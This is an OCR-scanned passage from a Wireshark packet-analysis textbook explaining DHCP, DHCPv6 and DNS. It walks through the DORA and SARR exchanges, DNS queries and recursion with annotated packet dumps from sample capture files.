Ethernet II, Src: CompalCo_b8:59:b1 (@0:16:d4:b8:59:b1), Dst: CiscoInc_4b:c@:7f (@0:12:80:4b:c@:7f) 
Internet Protocol Version 4, Src: 192.168.100.138, Dst: 192.168.100.1 
vV User Datagram Protocol, Src Port: 1060 (1060), Dst Port: 53 (53) 
Source Port: 1060 
Destination Port: 53 
Length: 39 
Checksum: @x6d5a [validation disabled] 
[Stream index: @] 
Domain Name System (query) 





No.: 1 * Time: 0.000000 « Source: 192.168.100.138 « Destination: 192.168.100.1 > Protocol: DNS « Length: 73 > Info: Standard query Ox180f A wireshark.org 


[eee] | tt 














Figure 8-13: The contents of a UDP packet are very simple. 


The key point to remember is that UDP does not care about reliable 
delivery. Therefore, any application that uses UDP must take special steps 
to ensure reliable delivery, if it is necessary. This is in contrast to TCP, which 
utilizes a formal connection setup and teardown, and has features in place 
to validate that packets were transmitted successfully. 

This chapter has introduced you to the transport layer protocols TCP 
and UDP. Not unlike network protocols, TCP and UDP are at the core of 
most of your daily communication, and the ability to analyze them effec- 
tively is critical to becoming an effective packet analyst. In Chapter 9, we 
will look at common application-layer protocols. 
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COMMON UPPER-LAYER 
PROTOCOLS 


In this chapter, we’ll continue to examine 
the functions of individual protocols, as 
well as what they look like when viewed with 
Wireshark. We’ll discuss five of the most common 
upper-layer (layer 7) protocols: DHCP, DNS, HTTP, 
and SMTP. 





Dynamic Host Configuration Protocol (DHCP) 


In the early days of networking, when a device wanted to communicate over 
a network, it needed to be assigned an address by hand. As networks grew, 
this manual process quickly became cumbersome. To solve this problem, 
Bootstrap Protocol (BOOTP) was created to automatically assign addresses 
to network-connected devices. BOOTP was later replaced with the more 
sophisticated Dynamic Host Configuration Protocol (DHCP). 
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DHCP is an application-layer protocol responsible for allowing a device 
to automatically obtain an IP address (and addresses of other important net- 
work assets, such as DNS servers and routers). Most DHCP servers today also 
provide other parameters to clients, such as the addresses of the default gate- 
way and DNS servers in use on the network. 


DHCP Packet Structure 


DHCP packets can carry quite a lot of information to a client. As shown in 
Figure 9-1, the following fields are present within a DHCP packet: 


OpCode Indicates whether the packet is a DHCP request or a DHCP 
reply 

Hardware Type The type of hardware address (10MB Ethernet, 
IEEE 802, ATM, and so on) 

Hardware Length The length of the hardware address 

Hops Used by relay agents to assist in finding a DHCP server 


Transaction ID A random number used to pair requests with 
responses 


Seconds Elapsed Seconds since the client first requested an address 
from the DHCP server 


Flags The types of traffic the DHCP client can accept (unicast, broad- 
cast, and so on) 
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Figure 9-1: The DHCP packet structure 


dhcp_nolease 
_initialization 
.pcapng 


Client IP Address The client’s IP address (derived from the Your IP 
Address field) 


Your IP Address The IP address offered by the DHCP server (ulti- 
mately becomes the Client IP Address field value) 

Server IP Address The DHCP server’s IP address 

Gateway IP Address The IP address of the network’s default gateway 
Client Hardware Address The client’s MAC address 

Server Host Name The server’s host name (optional) 

Boot File A boot file for use by DHCP (optional) 


Options Used to expand the structure of the DHCP packet to give it 
more features 


The DHCP Initialization Process 


The primary goal of DHCP is to assign addresses to clients during the ini- 
tialization process. The renewal process takes place between a single client 
and a DHCP server, as shown in the file dhcp_nolease_initialization.pcapneg. 
The DHCP initialization process is often referred to as the DORA process 
because it uses four types of DHCP packets: discover, offer, request, and 
acknowledgment, as shown in Figure 9-2. Here, we'll take a look at each 
type of DORA packet. 





























DHCP Server 





Figure 9-2: The DHCP DORA process 


The Discover Packet 


As you can see in the referenced capture file, the first packet is sent 

from 0.0.0.0 on port 68 to 255.255.255.255 on port 67. The client uses 
0.0.0.0 because it does not yet have an IP address. The packet is sent to 
255.255.255.255 because this is the network-independent broadcast address, 
thus ensuring that this packet will be sent out to every device on the net- 
work. Because the device doesn’t know the address of a DHCP server, this 
first packet is sent in an attempt to find a DHCP server that will listen. 
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Examining the Packet Details pane, the first thing we notice is that 
DHCP relies on UDP as its transport layer protocol. DHCP is very con- 
cerned with the speed at which a client receives the information it’s 
requesting. DHCP has its own built-in reliability measures, which means 
UDP is a perfect fit. You can see the details of the discovery process by 
examining the first packet’s DHCP portion in the Packet Details pane, as 
shown in Figure 9-3. 





@ Wireshark . Packet 1 - dhcp_nolease_renewal — [m] x 





Frame 1: 342 bytes on wire (2736 bits), 342 bytes captured (2736 bits) on interface @ 
Ethernet II, Src: Vmware_59:fd:21 (00:0c:29:59:fd:21), Dst: Broadcast (ff:ff:ff:ff:ff:ff) 
Internet Protocol Version 4, Src: 0.0.0.0, Dst: 255.255.255.255 
User Datagram Protocol, Src Port: bootpc (68), Dst Port: bootps (67) 
YV Bootstrap Protocol (Discover) 

Message type: Boot Request (1) @ 

Hardware type: Ethernet (@x@1) 

Hardware address length: 6 

Hops: @ 

Transaction ID: @x696ddc66 

Seconds elapsed: @ 

Bootp flags: @x@@@@ (Unicast) 

Client IP address: 0.0.0.0 
e Your (client) IP address: 0.0.0.0 

Next server IP address: 0.0.0.0 

Relay agent IP address: 0.0.0.0 

Client MAC address: Vmware_59:fd:21 (00:0c:29:59:fd:21) 

Client hardware address padding: 90000000000000000000 

Server host name not given 

Boot file name not given 

Magic cookie: DHCP 
V Option: (53) DHCP Message Type (Discover) @ 

Length: 1 
DHCP: Discover (1) 

Option: (5@) Requested IP Address 

Option: (12) Host Name 

Option: (55) Parameter Request List 

Option: (255) End 

Padding: 9080000000000000000000000000000000000000000000000. . . 











No.: 1 * Time: 0.000000 > Source: 0.0.0.0 * Destination: 255.255.255.255 * Protocol: DHCP * Info: DHCP Discover - Transaction ID Ox6 960066 








Figure 9-3: The DHCP discover packet 


Because Wireshark still references BOOTP when dealing with DHCP, you'll see a 
Bootstrap Protocol section in the Packet Details pane, rather than a DHCP section. 
Nevertheless, I'll refer to this as the packet’s DHCP portion throughout this book. 


This packet is a request, identified by the (1) in the Message type 
field ®. Most of the fields in this discovery packet are either all zeros (as 
you can see in the IP address fields @) or pretty self-explanatory, based on 
the listing of DHCP fields in the previous section. The meat of this packet 
is in its four Option fields ®. 


DHCP Message Type This is option type 53, with length 1 anda 
value of Discover (1). These values indicate that this is a DHCP dis- 
cover packet. 


Client Identifier This provides additional information about the 
client requesting an IP address. 


Requested IP Address This supplies the IP address the client would 
like to receive. This can be a previously used IP address or 0.0.0.0 to 
indicate no preference. 


Parameter Request List This lists the different configuration items 
(IP addresses of other important network devices and other non IP 
items) the client would like to receive from the DHCP server. 


The Offer Packet 


The second packet in this file lists valid IP addresses in its IP header, 
showing a packet traveling from 192.168.1.5 to 192.168.1.10, as shown in 
Figure 9-4. The client doesn’t actually have the 192.168.1.10 address yet, 
so the server will first attempt to communicate with the client using its 
hardware address, as provided by ARP. If communication isn’t possible, 
the server will simply broadcast the offer to communicate. 

The DHCP portion of this second packet, called the offer packet, indi- 
cates that the Message type is a reply @. This packet contains the same 
Transaction ID as the previous packet 8, which tells us that this reply is 
indeed a response to our original request. 

The offer packet is sent by the DHCP server in order to offer its services 
to the client. It does so by supplying information about itself and the address- 
ing it wants to provide the client. In Figure 9-4, the IP address 192.168.1.10 
in the Your (client) IP address field is being offered to the client ® from 
192.168.1.5 identified by the Next server IP address field 8. 

The first option listed identifies the packet as a DHCP Offer ©. The 
options that follow are supplied by the server and indicate the additional 
information it can offer, along with the client’s IP address. You can see that 
it offers the following: 


e An IP address lease time of 10 minutes 

e A subnet mask of 255.255.255.0 

e A broadcast address of 192.168.1.255 

e A router address of 192.168.1.254 

e A domain name of mydomain.example 

e Domain name server addresses of 192.168.1.1 and 192.168.1.2 
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4 Wireshark « Packet 2 - dhcp_nolease_renewal = 





Frame 2: 344 bytes on wire (2752 bits), 344 bytes captured (2752 bits) on interface @ 


Internet Protocol Version 4, Src: 192.168.1.5, Dst: 192.168.1.10 
> User Datagram Protocol, Src Port: bootps (67), Dst Port: bootpce (68) 
Y Bootstrap Protocol (Offer) 

Message type: Boot Reply (2) @ 
Hardware type: Ethernet (@x@1) 
Hardware address length: 6 
Hops: @ 
Transaction ID: @x696ddc66 @ 
Seconds elapsed: @ 
Bootp flags: @x@@@@ (Unicast) 
Client IP address: 0.0.0.0 
© Your (client) IP address: 192.168.1.10 
(4) Next server IP address: 192.168.1.5 
Relay agent IP address: 0.0.0.0 
Client MAC address: Vmware_59:fd:21 (@0:0c:29:59:fd:21) 
Client hardware address padding: @0000000000000000000 
Server host name not given 
Boot file name not given 
Magic cookie: DHCP 
V Option: (53) DHCP Message Type (Offer) @ 
Length: 1 
DHCP: Offer (2) 
Y Option: (54) DHCP Server Identifier 
Length: 4 
DHCP Server Identifier: 192.168.1.5 
Y Option: (51) IP Address Lease Time 
Length: 4 
IP Address Lease Time: (600s) 10 minutes 
Y Option: (1) Subnet Mask 
Length: 4 
Subnet Mask: 255.255.255.0 
Y Option: (28) Broadcast Address 
Length: 4 
Broadcast Address: 192.168.1.255 
Y Option: (3) Router 
Length: 4 
Router: 192.168.1.254 
V Option: (15) Domain Name 
Length: 16 
Domain Name: mydomain.example 

Y Option: (6) Domain Name Server 

Length: 8 

Domain Name Server: 192.168.1.1 

Domain Name Server: 192.168.1.2 
Option: (255) End 

Option End: 255 


< 





Ethernet II, Src: Vmware_c@:60:a4 (@@:0c:29:c@:60:a4), Dst: Vmware_59:fd:21 (@@:@c:29:59:fd:21) 








No.: 2 * Time: 1.002288 - Source: 192.168.1.5 « Destination: 192,168.1.10 « Protocol: DHCP « Info: DHCP Offer - Transaction ID Ox696dc66 





Help 





Figure 9-4: The DHCP offer packet 


The Request Packet 


Once the client receives an offer from the DHCP server, it should accept it 


with a DHCP request packet, as shown in Figure 9-5. 


The third packet in this capture still comes from IP address 0.0.0.0, 
because we have not yet completed the process of obtaining an IP address ®. 


The packet now knows the DHCP server it is communicating with. 





@ Wireshark - Packet 3. dhcp_nolease_renewal = o x 





Frame 3: 342 bytes on wire (2736 bits), 342 bytes captured (2736 bits) on interface @ 
Ethernet II, Src: Vmware_59:fd:21 (@0:0c:29:59:fd:21), Dst: Broadcast (ff:ff:ff:ff:ff:fFf) 
Internet Protocol Version 4, Src: 0.0.0.0, Dst: 255.255.255.255 @ 
User Datagram Protocol, Src Port: bootpc (68), Dst Port: bootps (67) 
YV Bootstrap Protocol (Request) 
Message type: Boot Request (1)@ 
Hardware type: Ethernet (@x@1) 
Hardware address length: 6 
Hops: @ 
Transaction ID: @x696ddc66 @ 
Seconds elapsed: @ 
Bootp flags: @x®0@@ (Unicast) 
Client IP address: 0.0.0.0 
Your (client) IP address: 0.0.0.0 
Next server IP address: 0.0.0.0 
Relay agent IP address: 0.0.0.0 
Client MAC address: Vmware_59:fd:21 (@@:@c:29:59:fd:21) 
Client hardware address padding: 00000000000000000000 
Server host name not given 
Boot file name not given 
Magic cookie: DHCP 
V Option: (53) DHCP Message Type (Request) e 
Length: 1 
DHCP: Request (3) 
Y Option: (54) DHCP Server Identifier 
Length: 4 
DHCP Server Identifier: 192.168.1.5 @ 
Y Option: (50) Requested IP Address 
Length: 4 
Requested IP Address: 192.168.1.10 
V Option: (12) Host Name 
Length: 7 
Host Name: ubuntu2 
Option: (55) Parameter Request List 
v Option: (255) End 
Option End: 255 
Padding: 202 











No.: 3 « Time: 1.002980 Source: 0.0.0.0 « Destination: 255.255.255.255 * Protocol: DHCP > Info: DHCP Request - Transaction ID Ox69600c66 


Close Help 








Figure 9-5: The DHCP request packet 


The Message type field shows that this packet is a request @, and the 
Transaction ID field is the same as in the first two packets ®, indicating 
they are part of the same process. This packet is similar to the discover 
packet, in that all of its [P-addressing information is zeroed. 

Finally, in the Option fields, we see that this is a DHCP Request @. Notice 
that the requested IP address is no longer blank and that the DHCP Server 
Identifier field also contains an address ®. 


The Acknowledgment Packet 


In the final step in this process, the DHCP server sends the requested IP 
addresses to the client in an acknowledgment packet and records that infor- 
mation in its database, as shown in Figure 9-6. The client now has an IP 
address and can use it to begin communicating on the network. 
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@ Wireshark - Packet 4- dhcp_nolease_renewal - o x 





Frame 4: 344 bytes on wire (2752 bits), 344 bytes captured (2752 bits) on interface @ 
> Ethernet II, Src: Vmware_c@:60:a4 (@0:0c:29:c@:60:a4), Dst: Vmware_59:fd:21 (@@:@c:29:59:fd:21) 
> Internet Protocol Version 4, Src: 192.168.1.5, Dst: 192.168.1.10 
> User Datagram Protocol, Src Port: bootps (67), Dst Port: bootpc (68) 
YV Bootstrap Protocol (ACK) 

Message type: Boot Reply (2) 
Hardware type: Ethernet (@x@1) 
Hardware address length: 6 
Hops: @ 
Transaction ID: @x696ddc66 
Seconds elapsed: @ 
Bootp flags: @x@000 (Unicast) 
Client IP address: 0.0.0.0 
Your (client) IP address: 192.168.1.10 
Next server IP address: 192.168.1.5 
Relay agent IP address: 0.0.0.0 
Client MAC address: Vmware_59:fd:21 (@0:@c:29:59:fd:21) 
Client hardware address padding: 00000000000000000000 
Server host name not given 
Boot file name not given 
Magic cookie: DHCP 

> Option: (53) DHCP Message Type (ACK) 

> Option: (54) DHCP Server Identifier 

> Option: (51) IP Address Lease Time 

> Option: (1) Subnet Mask 

> Option: (28) Broadcast Address 

> Option: (3) Router 

> Option: (15) Domain Name 

> Option: (6) Domain Name Server 

> Option: (255) End 











No.: 4» Time: 1.005243 » Source: 192.168.1.5 * Destination: 192.168.1.10 > Protocol: DHCP « Info: DHCP ACK - Transaction ID Ox696d0c66 


Help 








Figure 9-6: The DCHP acknowledgment packet 


DHCP In-Lease Renewal 


When a DHCP server assigns an IP address to a device, it leases it to the client. 
This means that the client is allowed to use the IP address for only a limited 
amount of time before it must renew the lease. The DORA process just dis- 
cussed occurs the first time a client gets an IP address or when its lease time 
has expired. In either case, the device is considered to be out of lease. 

When a client with an IP address in-lease reboots, it must perform a 
truncated version of the DORA process in order to reclaim its IP address. 
This process is called an in-lease renewal. 

In the case of a lease renewal, the discovery and offer packets are unnec- 
essary. Think of an in-lease renewal as being the same DORA process used in 
an out-of-lease renewal, but the in-lease renewal doesn’t need to do as much, 
leaving only the request and acknowledgment steps. You'll find a sample cap- 
ture of an in-lease renewal in the file dhcp_inlease_renewal.pcapng. 


DHCP Options and Message Types 


DHCP’s real flexibility lies in its available options. As you’ve seen, the 
packet’s DHCP options can vary in size and content. The packet’s over- 
all size depends on the combination of options used. You can view a 
full list of the many DHCP options at hitp://www.iana.org/assignments/ 
bootp-dhcp-parameters/. 


dhcpé_outlease 
_acquisition.pcapng 


The only option required in all DHCP packets is the Message type 
option (option 53). This option identifies how the DHCP client or server 
will process the information contained within the packet. There are 8 mes- 
sage types, as defined in Table 9-1. 


Table 9-1: DHCP Message Types 


Type Message Description 
number type 
1 Discover Used by the client to locate available DHCP servers 
Offer Sent by the server to the client in response to a discover packet 


Request Sent by the client to request the offered parameters from the 
server 


4 Decline Sent by the client to the server to indicate invalid parameters 
within a packet 


5 ACK Sent by the server to the client with the configuration param- 
eters requested 


6 NAK Sent by the client to the server to refuse a request for configura- 
tion parameters 


7 Release Sent by the client to the server to cancel a lease by releasing 
its configuration parameters 


8 Inform Sent by the client to the server to ask for configuration param- 
eters when the client already has an IP address 


DHCP Version 6 (DHCPv6) 


If you examine the packet structure for a DHCP packet in Figure 9-1, you'll 
see that it doesn’t provide enough room to support the length required 
for IPv6 address allocation. Instead of retrofitting DHCP for this purpose, 
DHCPv6 was devised in RFC3315. Since DHCPv6 isn’t built on the concept 
of BOOTP, its packet format is much simpler (Figure 9-7). 


Dynamic Host Configuration Protocol Version 6 (DHCPv6) 
0-7 


| 0 | Message Type Transaction ID 


Figure 9-7: The DHCPv6 packet structure 





The packet structure shown here contains only two static values, which 
function in the same manner as their DHCP counterparts. The rest of the 
packet structure varies depending on the message type identified in the 
first byte. Within the Options section, each option is identified with a 2-byte 
option code and a 2-byte length field. A full list of message types and option 
codes that can appear in these fields can be found here: http://www.iana.org/ 
assignments/dhcpv6-parameters/dhcpv6-parameters.xhtml. 


Common Upperlayer Protocols 171 


DHCPv6 accomplishes the same goal as DHCP, but to understand the 


flow of DHCPv6 communication, we must replace our DORA acronym with 
a new one, SARR. This process is illustrated in Figure 9-8, which represents a 
client that is currently out of lease. 
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DHCPv6 Client DHCPvé6 Server 


Figure 9-8: The DHCPv6 SARR out-of lease renewal process 


The SARR process has four steps: 


Solicit: An initial packet is sent from a client to a special multicast 
address (ff02::1:2) to attempt to locate available DHCPv6 servers on 
the network. 


Advertise: An available server responds directly to the client to indicate 
that it is available to provide addressing and configuration information. 


Request: The client sends a formal request for configuration informa- 
tion to the server via multicast. 


Reply: The server sends all available requested configuration informa- 
tion directly to the client, and the process is complete. 


Asummary of this process is shown in Figure 9-9, which is taken from 


the file dhcp6_outlease_acquisition.pcapng. In this example, we see the SARR 
process in action as a new host on the network (fe80::20c:29ff:fe5e:7744) 
receives configuration information from a DHCPv6 server (fe80::20c:29ff 
:felf:a755). Each packet represents one step of the SARR process, with 

the initial solicit and advertise packets tied together using the transaction 
ID 0x9de03f and the request and reply packets associated with the trans- 
action ID 0x2d1603. While it isn’t shown in the figure, this communication 
takes place over ports 546 and 547, which are the standard ports used by 





DHCPv6. 
No Time Source Destination Protocol Length Info 
fa 10... fe80::20c:29ff:feS5e:7744 ff02::1:2 DHCPv6 118 Solicit XID: @x9de@3f CID: 000100011def69bd00ðc295e7744 
2 0... fe80::20c:29ff:felf:a755 fe8ð::20c:29ff:fe5e:7744 DHCPv6 166 Advertise XID: @x9de@3f CID: @00100011def69bd000c295e7744 IAA: 2001:db8:1:2::1002 





am fe80::20c:29ff:fe5e:7744 
w= fe80::20c:29ff:felf:a755 





F¥02::1:2 DHCPv6 164 Request XID: @x2d16@3 CID: 000100011def69bd@00c295e7744 IAA: 2001:db8:1:2::1002 
fe80::20c:29ff:fe5e:7744 DHCPv6 166 Reply XID: @x2d16@3 CID: 000100011def69bd00ðc295e7744 IAA: 2001:db8:1:2::1002 





Figure 9-9: A client obtaining an IPv6é address via DHCPv6é 
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Overall, the packet structure of DHCPv6 traffic looks a lot different, 
but most of the same concepts apply. The process still requires some form of 
DHCP server discovery and a formal retrieval of configuration information. 
Those transactions are all tied together via transaction identifiers in each 
pair of packets exchanged between the client and server. IPv6 addressing 
can’t be supported by traditional DHCP mechanisms, so if you have devices 
getting IPv6 addresses automatically from a server on your network, it’s likely 
that you're already running DHCPv6 services on your network. If you'd like 
to compare DHCP and DHCPv6 further, I recommend opening the packet 
captures discussed in this chapter side by side and stepping through them. 


Domain Name System (DNS) 


The Domain Name System (DNS) is one of the most crucial internet pro- 
tocols because it is the proverbial molasses that holds the bread together. 
DNS ties domain names, such as www.google.com, to IP addresses, such as 
74.125.159.99. When we want to communicate with a networked device and 
we don’t know its IP address, we access that device via its DNS name. 

DNS servers store a database of resource records of IP address-to—DNS 
name mappings, which they share with clients and other DNS servers. 


Because the architecture of DNS servers is complicated, we'll just look at some common 
types of DNS traffic. You can review the various DNS-related RFCs at https://www 
.isc.org/community/rfcs/dns/. 


DNS Packet Structure 


As you can see in Figure 9-10, the DNS packet structure is somewhat differ- 
ent from that of the packet types we’ve discussed previously. The following 
fields can be present within a DNS packet: 


DNS ID Number Used to associate DNS queries with DNS responses 


Query/Response (QR) Denotes whether the packet is a DNS query 
or response 

OpCode Defines the type of query contained in the message 
Authoritative Answers (AA) If this value is set in a response packet, 
indicates that the response is from a name server with authority over 
the domain 

Truncation (TC) Indicates that the response was truncated because it 
was too large to fit within the packet 

Recursion Desired (RD) When this value is set in a query, indicates 
that the DNS client requests a recursive query if the target name server 
doesn’t contain the information requested 

Recursion Available (RA) If this value is set in a response, indicates 
that the name server supports recursive queries 
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Figure 9-10: The DNS packet structure 





Reserved (Z) Defined by RFC 1035 to be set as all zeros; however, 
sometimes it’s used as an extension of the RCode field 


Response Code (RCode) Used in DNS responses to indicate the pres- 
ence of any errors 

Question Count The number of entries in the Questions Section 
Answer Count The number of entries in the Answers Section 

Name Server (Authority) Record Count The number of name server 
resource records in the Authority Section 

Additional Records Count The number of other resource records in 
the Additional Information Section 

Questions Section Variable-sized section that contains one or more 
queries for information to be sent to the DNS server 

Answers Section Variable-sized section that carries one or more 
resource records that answer queries 


Authority Section Variable-sized section that contains resource 
records that point to authoritative name servers that can be used to 
continue the resolution process 


Additional Information Section Variable-sized section that contains 
resource records that hold additional information related to the query 
that is not absolutely necessary to answer the query 


A Simple DNS Query 
dns_query_response DNS functions in a query-response format. A client wishing to resolve a DNS 
PGP AY. name to an IP address sends a query to a DNS server, and the server sends the 


requested information in its response. In its simplest form, this process takes 
two packets, as can be seen in the capture file dns_query_response.pcapneg. 

The first packet, shown in Figure 9-11, is a DNS query sent from the 
client 192.168.0.114 to the server 205.152.37.23 on port 53, which is the 
standard port used by DNS. 
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Wireshark - Packet 1 - dns_query_response - o x 
query p 





Frame 1: 73 bytes on wire (584 bits), 73 bytes captured (584 bits) 
Ethernet II, Src: HonHaiPr_6e:8b:24 (00:16:ce:6e:8b:24), Dst: D-Link_21:99:4c (00:05:5d:21:99:4c) 
Internet Protocol Version 4, Src: 192.168.0.114, Dst: 205.152.37.23 
User Datagram Protocol, Src Port: 1060 (1060), Dst Port: 53 (53)@ 
V Domain Name System (query) 
Response In: 2 
Transaction ID: @0x180f 
V Flags: @x0100 Standard query @ 
Osee osse sose osoo = Response: Message is a query 
-000 @... sese ceee = Opcode: Standard query (@) 
--@. .... c... = Truncated: Message is not truncated 
eee ooo 1 .... .... = Recursion desired: Do query recursively 
-@.. .... = Z: reserved (@) 
AFTY @ .... = Non-authenticated data: Unacceptable 
Questions: 1 
Answer RRs: @ 
Authority RRs: @ 
Additional RRs: @ 
v Queries 
v wireshark.org: type A, class IN @ 
Name: wireshark.org 
[Name Length: 13] 
[Label Count: 2] 
Type: A (Host Address) (1) 
Class: IN (@x@001) 





No.: 1 > Time: 0.000000 - Source: 192.168.0.114 « Destination: 205.152.37.23 « Protocol: DNS « Length: 73 « Info: Standard query Oxi80f A wireshark.org 








Figure 9-11: The DNS query packet 


When you begin examining the headers in this packet, you'll see that 
DNS also relies on UDP 9. 

In the DNS portion of the packet, you can see that smaller fields near 
the beginning of the packet are condensed by Wireshark into a single Flags 
section. Expand this section, and you'll see that the message is indeed a 
standard query @, that it is not truncated, and that recursion is desired 
(we'll cover recursion shortly). Only a single question is identified, which 
can be found by expanding the Queries section. There, you can see the 
query is for the name wireshark.org for a host (type A) internet (IN) address ®. 
This packet is basically asking, “Which IP address is associated with the 
wireshark. org domain?” 

The response to this request is in packet 2, as shown in Figure 9-12. 
Because this packet has an identical identification number ®, we know 
that it contains the correct response to the original query. 

The Flags section confirms that this is a response and that recursion 
is available if necessary @. This packet contains only one question and one 
resource record ®, because it includes the original question in conjunction 
with its answer. Expanding the Answers section gives us the response to the 
query: the IP address of wireshark.org is 128.121.50.122 ©. With this infor- 
mation, the client can now construct IP packets and begin communicating 
with wireshark. org. 
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M Wireshark - Packet 2  dns_query_response - o x 





Frame 2: 89 bytes on wire (712 bits), 89 bytes captured (712 bits) 
Ethernet II, Src: D-Link_21:99:4c (@0:05:5d:21:99:4c), Dst: HonHaiPr_6e:8b:24 (@0:16:ce:6e:8b:24) 
Internet Protocol Version 4, Src: 205.152.37.23, Dst: 192.168.0.114 
User Datagram Protocol, Src Port: 53 (53), Dst Port: 1060 (1060) 
V Domain Name System (response) 
Request In: 1 
[Time: @.@9116490@ seconds] 
Transaction ID: ex1sef @ 
Vv Flags: @x818@ Standard query response, No error @ 
Response: Message is a response 
Opcode: Standard query (@) 
= Authoritative: Server is not an authority for domain 
Truncated: Message is not truncated 
Recursion desired: Do query recursively 
... <... = Recursion available: Server can do recursive queries 
-@.. .... = Z: reserved (@) 
= Answer authenticated: Answer/authority portion was not authenticated by the server 
Sawai eae eae @ .... = Non-authenticated data: Unacceptable 
cscs eee sooo 0000 = Reply code: No error (@) 
Questions: 1 
Answer RRs: 1 
Authority RRs: @ 
Additional RRs: @ 
v Queries 
v wireshark.org: type A, class IN 
Name: wireshark.org 
[Name Length: 13] 
[Label Count: 2] 
Type: A (Host Address) (1) 
Class: IN (@x@@@1) 
v Answers 
Y wireshark.org: type A, class IN, addr 128.121.50.122 @ 
Name: wireshark.org 
Type: A (Host Address) (1) 
Class: IN (@x@@@1) 
Time to live: 14400 
Data length: 4 
Address: 128.121.5@.122 

















No.: 2 Time: 0.091164 » Source: 205.152.37.23 * Destination: 192.168.0,114 > Protocol: DNS * Length: 89» Info: Standard query response Ox180f A wireshark.org A 128,121.50.122 


re 











Figure 9-12: The DNS response packet 


DNS Question Types 


The Type fields used in DNS queries and responses indicate the resource 
record type that the query or response is for. Some of the more common 


message/resource record types are listed in Table 9-2. You’1l be seeing these 
types throughout normal traffic and in this book. (The list in Table 9-2 is 
brief and by no means exhaustive. To review all DNS resource record types, 
visit hitp://www.iana.org/assignments/dns-parameters/.) 


Table 9-2: Common DNS Resource Record Types 


Value Type Description 
A IPv4 host address 
NS Authoritative name server 
CNAME Canonical name for an alias 
15 MX Mail exchange 
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dns_recursivequery 
_client.pcapng, 
dns_recursivequery 
_server.pcapng 


Value Type Description 


16 TXT Text string 

28 AAAA IPv6é host address 

251 IXFR Incremental zone transfer 
252 AXFR Full zone transfer 


DNS Recursion 


Due to the hierarchical nature of the internet’s DNS structure, DNS servers 
must be able to communicate with each other in order to answer the queries 
submitted by clients. While we expect our internal DNS server to know the 

name-to-IP address mapping of our local intranet server, we can’t expect it 

to know the IP address associated with Google or Dell. 

When a DNS server needs to find an IP address, it queries another 
DNS server on behalf of the client making the request, in effect acting like 
a client. This process is called recursion. 

To view the recursion process from both the DNS client and server 
perspectives, open the file dns_recursivequery_client.pcapng. This file con- 
tains a capture of a client’s DNS traffic file in two packets. The first packet 
is the initial query sent from the DNS client 172.16.0.8 to its DNS server 
172.16.0.102, as shown in Figure 9-13. 





M Wireshark - Packet 1  dns_recursivequery_client = o x 


Frame 1: 76 bytes on wire (608 bits), 76 bytes captured (608 bits) 
Ethernet II, Src: HewlettP_bf:91:ee (00:25:b3:bf:91:ee), Dst: Vmware_92:94:9f (00:0c:29:92:94:9f) 
Internet Protocol Version 4, Src: 172.16.0.8, Dst: 172.16.0.102 
V User Datagram Protocol, Src Port: 56125 (56125), Dst Port: 53 (53) 
Source Port: 56125 
Destination Port: 53 
Length: 42 
V Checksum: @x58ca [validation disabled] 
[Good Checksum: False] 
[Bad Checksum: False] 
[Stream index: @] 
YV Domain Name System (query) 
Response In: 2 
Transaction ID: @x8b34 
vV Flags: @x@1@@ Standard query 
= Response: Message is a query 
Opcode: Standard query (@) 
Truncated: Message is not truncated 
Recursion desired: Do query recursively @ 
Z: reserved (@) 
= Non-authenticated data: Unacceptable 





Questions: 1 

Answer RRs: @ 

Authority RRs: @ 

Additional RRs: @ 

v Queries 

v www.nostarch.com: type A, class IN e 
Name: www.nostarch.com 
[Name Length: 16] 
[Label Count: 3] 
Type: A (Host Address) (1) 
Class: IN (@x@@01) 











No.: 1 * Time: 0.000000 - Source: 172.16.0.8 - Destination: 172,16.0.102 > Protocol: DNS - Length: 76 + Info: Standard query 0x834 A www.nostarch.com 


Figure 9-13: The DNS query with the Recursion desired bit set 
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When you expand the DNS portion of this packet, you’ll see that this is 
a standard query for an A type record for the DNS name www.nostarch.com ®. 
To learn more about this packet, expand the Flags section, and you'll see 
that recursion is desired ®. 

The second packet is what we would expect to see in response to the 
initial query, as shown in Figure 9-14. 





M Wireshark » Packet 2 - dns_recursivequery_client = o x 





Frame 2: 92 bytes on wire (736 bits), 92 bytes captured (736 bits) 
Ethernet II, Src: Vmware_92:94:9f (@0:0c:29:92:94:9f), Dst: HewlettP_bf:91:ee (@0:25:b3:bf:91:ee) 
Internet Protocol Version 4, Src: 172.16.0.102, Dst: 172.16.0.8 
User Datagram Protocol, Src Port: 53 (53), Dst Port: 56125 (56125) 
YV Domain Name System (response) 
Request In: 1 
[Time: @.183134000 seconds] 
Transaction ID: @x8b34@ 
vV Flags: @x818@ Standard query response, No error 
Ll... ccce osoo oe. = Response: Message is a response 
+000 @... sase «22. = Opcode: Standard query (@) 
ð.. esse e... = Authoritative: Server is not an authority for domain 
+O. wee. e+. = Truncated: Message is not truncated 
eese cee 1 .... .... = Recursion desired: Do query recursively 
eese seee l... .... = Recursion available: Server can do recursive queries 
0.. c... = Z: reserved (0) 
+-@. .... = Answer authenticated: Answer/authority portion was not authenticated by the server 
Tews, owes casa O .... = Non-authenticated data: Unacceptable 
eeso sooo sooo 0000 = Reply code: No error (@) 
Questions: 1 
Answer RRs: 1 
Authority RRs: @ 
Additional RRs: @ 
v Queries 
v www.nostarch.com: type A, class IN 
Name: www.nostarch.com 
[Name Length: 16] 
[Label Count: 3] 
Type: A (Host Address) (1) 
Class: IN (@x@001) 
vV Answers 
V www.nostarch.com: type A, class IN, addr 72.32.92.4@ 
Name: www.nostarch.com 
Type: A (Host Address) (1) 
Class: IN (@x@001) 
Time to live: 3600 
Data length: 4 
Address: 72.32.92.4 











No.: 2 * Time: 0.183134 > Source: 172.16.0.102 * Destination: 172.16.0.8 * Protocol: DNS + Length: 92 * Info: Standard query response 0x6534 A www.nostarch.com A 72.32.92.4 











Figure 9-14: The DNS query response 
This packet’s transaction ID matches that of our query 9, no errors 


are listed, and we receive the A type resource record associated with www 
nostarch.com @. 
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We can see that this query was answered by recursion by listening to 
the DNS server’s traffic when the recursion is taking place, as demonstrated 
in the file dns_recursivequery_server.pcapng. This file shows a capture of the 
traffic on the local DNS server when the query was initiated (Figure 9-15). 





No. Time Source Destination Protocol Length Info 

ge 1@... 172.16.0.8 172.16.0.102 DNS 76 Standard query @x8b34 A www.nostarch.com 

' 2 @... 172.16.0.102 4.2.2.1 DNS 76 Standard query @xf34d A www.nostarch.com 

1 3 O.m 4.2.2.1 172.16.@.102 DNS 92 Standard query response @xf34d A www.nostarch.com A 72.32.92.4 
